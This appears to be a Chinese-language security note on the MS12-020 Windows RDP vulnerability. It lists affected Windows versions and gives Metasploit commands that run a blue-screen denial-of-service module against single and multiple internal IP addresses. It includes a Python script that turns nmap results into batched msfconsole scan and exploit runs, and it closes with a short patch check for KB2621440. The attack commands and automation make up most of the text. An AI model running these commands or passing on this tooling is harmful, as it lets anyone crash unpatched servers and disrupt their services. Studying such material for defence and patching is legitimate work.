Windows 遠程桌面協議漏洞,可執行代碼,POC可致使藍屏。(RDP遠程桌面執行代碼漏洞)
Windows XP sp3 Windows xp sp2 Windows Vista sp2 Windows 7 Windows Server 2003 Windows Server 2008 Windows Server 2008 R2
msfconsole use auxiliary/dos/windows/rdp/ms12_020_maxchannelids set rhost <ip> run
此pyload僅支持單目標。python
msfconsole -x "use auxiliary/dos/windows/rdp/ms12_020_maxchannelids;set rhost 10.129.10.10;run;set rhost 10.129.10.37;run;set rhost 10.129.10.169;run;set rhost 10.129.10.209;run;set rhost 10.129.10.232;run;"
#encoding:utf-8 import xml.sax import sys import os class MovieHandler( xml.sax.ContentHandler ): def __init__(self, filterport=None): self.CurrentData = "" self.port=filterport self.data = "" self.datas=[] # 元素開始事件處理 def startElement(self, tag, attributes): self.CurrentData = tag if tag == "address": self.data=attributes["addr"] # 元素結束事件處理 def endElement(self, tag): if self.CurrentData == "address": self.datas.append(self.data) self.data="" self.CurrentData = "" class Gather(object): def __init__(self, filterport=None): # 建立一個 XMLReader self.parser = xml.sax.make_parser() # turn off namepsaces self.parser.setFeature(xml.sax.handler.feature_namespaces, 0) # 重寫 ContextHandler self.Handler = MovieHandler(filterport) self.parser.setContentHandler( self.Handler ) def run(self, port): self.Handler.datas=[] self.parser.parse(port+".xml") print(self.Handler.datas) def get_ans(self): return self.Handler.datas if __name__ == "__main__": if len(sys.argv) !=3: os.exit() os.system("nmap "+sys.argv[1]+" -p "+sys.argv[2]+" --open -oX "+sys.argv[2]+".xml") g = Gather() g.run(sys.argv[2]) # create cmd cmd = '"use auxiliary/scanner/rdp/ms12_020_check;set threads 20;' ips = g.get_ans() if len(ips)>0: for ip in g.get_ans(): cmd += "set rhosts "+ip+";run;" cmd += 'exit;"' os.system("msfconsole -x " + cmd) # 使用方法 python nmap-port2ip.py <ip> <port> # 功能:針對某種服務的漏洞對指定IP段的全部主機進行檢測,獲取可能存在問題的主機IP,並調用對應的Msf Payload進行利用嘗試。 # ip可支持單一IP、CIDR形式IP、10.129.1.1-154等幾種,格式與nmap一致 # port僅支持單端口
systeminfo | find /i "KB2621440" 若是存在結果以下,證實已打補丁,不然,須要打對應的補丁。
Windows Server 2003補丁windows